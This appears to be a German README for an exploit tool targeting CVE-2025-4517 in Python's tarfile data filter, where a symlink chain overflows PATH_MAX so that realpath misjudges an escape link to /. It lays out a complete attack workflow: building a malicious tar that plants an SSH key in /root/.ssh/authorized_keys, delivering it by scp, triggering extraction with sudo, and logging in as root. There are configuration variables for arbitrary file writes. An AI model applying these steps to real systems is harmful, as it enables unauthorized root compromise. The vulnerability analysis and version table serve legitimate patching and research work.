
Python tarfile Datenfilterumgehung durch PATH_MAX-Überlauf in os.path.realpath() - CVE-2025-4517 / CVE-2025-4330
tarfile Datenfilter-Umgehung via PATH_MAX-ÜberlaufAutor: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 Advisory: GHSA-6r6c-684h-9j7p CPython-Fix: PR #135037
Python's tarfile.extractall(filter="data") soll Tar-Archive sicher extrahieren, indem es Pfad-Traversierung verhindert (absolute Pfade, ..-Sequenzen und Symlinks, die das Zielverzeichnis verlassen). Allerdings erlaubt ein Fehler in os.path.realpath(strict=False) die vollständige Umgehung dieses Filters.
Wenn der aufgelöste Pfad PATH_MAX (4096 Bytes unter Linux) überschreitet, stoppt os.path.realpath() stillschweigend das Auflösen von Symlinks und fällt auf String-Manipulation zurück. Dadurch kann eine sorgfältig konstruierte Symlink-Kette Python dazu verleiten, zu glauben, dass ein Symlink innerhalb des Extraktionsverzeichnisses aufgelöst wird, während er tatsächlich auf / verweist.
| Branch | Betroffen | Behoben in |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
Der Exploit erstellt ein Tar-Archiv mit folgenden Inhalten:
realpath getäuscht wird.Der Kernpunkt: Das Verfolgen von a/b/c/.../p durch kurze Symlinks bleibt unter PATH_MAX, aber realpath erweitert jeden Schritt auf den ~240 Zeichen langen tatsächlichen Verzeichnisnamen. Wenn es auf den 254 Zeichen langen Linknamen trifft, überschreitet der aufgelöste Pfad 4096 Bytes und realpath gibt auf — und liefert stillschweigend ein falsches Ergebnis zurück.
flowchart TD
A["Attacker crafts malicious tar"] --> B["tar contains:
16 dir/symlink pairs
254-char escape symlink
'escape' symlink to /
payload file"]
B --> C["Target extracts with
tarfile.extractall(filter='data')"]
C --> D{"Python resolves symlinks
via os.path.realpath()"}
D --> E["Follows short symlinks a→ddd...d
Resolved path grows with each step"]
E --> F{"Resolved path length
> PATH_MAX (4096)?"}
F -->|"No (normal)"| G["realpath correctly resolves
Symlink blocked by filter ✓"]
F -->|"Yes (overflow!)"| H["realpath STOPS resolving
Falls back to string manipulation"]
H --> I["Python thinks symlink
resolves INSIDE extraction dir"]
I --> J["Filter PASSES the symlink ✗"]
J --> K["OS follows symlink correctly
'escape' resolves to /"]
K --> L["Payload written to
arbitrary file on disk"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as Attacker Machine
participant T as Target Machine
Note over A: Phase 1 — Preparation
A->>A: Generate SSH keypair (ssh-keygen)
A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar
Note over A,T: Phase 2 — Delivery
A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
T->>T: Place tar in location accessible<br/>to the vulnerable script
Note over T: Phase 3 — Exploitation
T->>T: Trigger extraction via the<br/>vulnerable Python script
T->>T: Python calls tarfile.extractall(filter="data")
Note over T: What Python sees vs reality
T->>T: realpath() overflows at PATH_MAX
T->>T: Filter thinks "escape" symlink is safe
T->>T: OS follows "escape" → resolves to /
T->>T: Payload written to /root/.ssh/authorized_keys
Note over A,T: Phase 4 — Access
A->>T: SSH as root using the written key
T-->>A: Root shell obtained
graph LR
subgraph "Tar Members (extracted in order)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
end
S1 -.->|"short path<br/>stays small"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
S5 -.->|"resolves to /"| F1
Beide Skripte enthalten einen Konfigurationsabschnitt am Anfang mit diesen Variablen:
Option A: Python
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. Generate the malicious tar
python3 CVE-2025-4517.py
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
Option B: Go
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output
# 3. Generate the malicious tar
go run CVE-2025-4517.go
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH as root using the planted key
ssh -i root_key root@target
Zählen Sie die Anzahl der Verzeichnisse von / bis zu Ihrem Extraktionspfad:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
Jedes Python-Skript, das tarfile.extractall() mit filter="data" auf einer betroffenen Version verwendet, ist potenziell ausnutzbar:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # VULNERABLE
Der filter="data" wurde als Sicherheitsmaßnahme eingeführt, um Tar-Pfad-Traversierungsangriffe zu verhindern. Ironischerweise liegt die Schwachstelle genau in dem Mechanismus (os.path.realpath), auf den der Filter zur Validierung von Symlink-Zielen angewiesen ist.
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests, Bildungszwecke und Forschung bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch dieses Tools.
| Variable | Beschreibung | Beispiel |
|---|
DEST_DIR | Vollständiger Pfad zum Extraktionsverzeichnis auf dem Ziel | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | Anzahl der Verzeichnisse von / bis DEST_DIR | 4 für /opt/app/staging/dir/ |
TARGET_FILE | Datei, die relativ zu / geschrieben werden soll | root/.ssh/authorized_keys |
PAYLOAD | Inhalt, der in die Zieldatei geschrieben werden soll | Ihr SSH-öffentlicher Schlüssel |
OUTPUT | Ausgabe-Tar-Dateiname | Muss dem erwarteten Muster des Ziels entsprechen |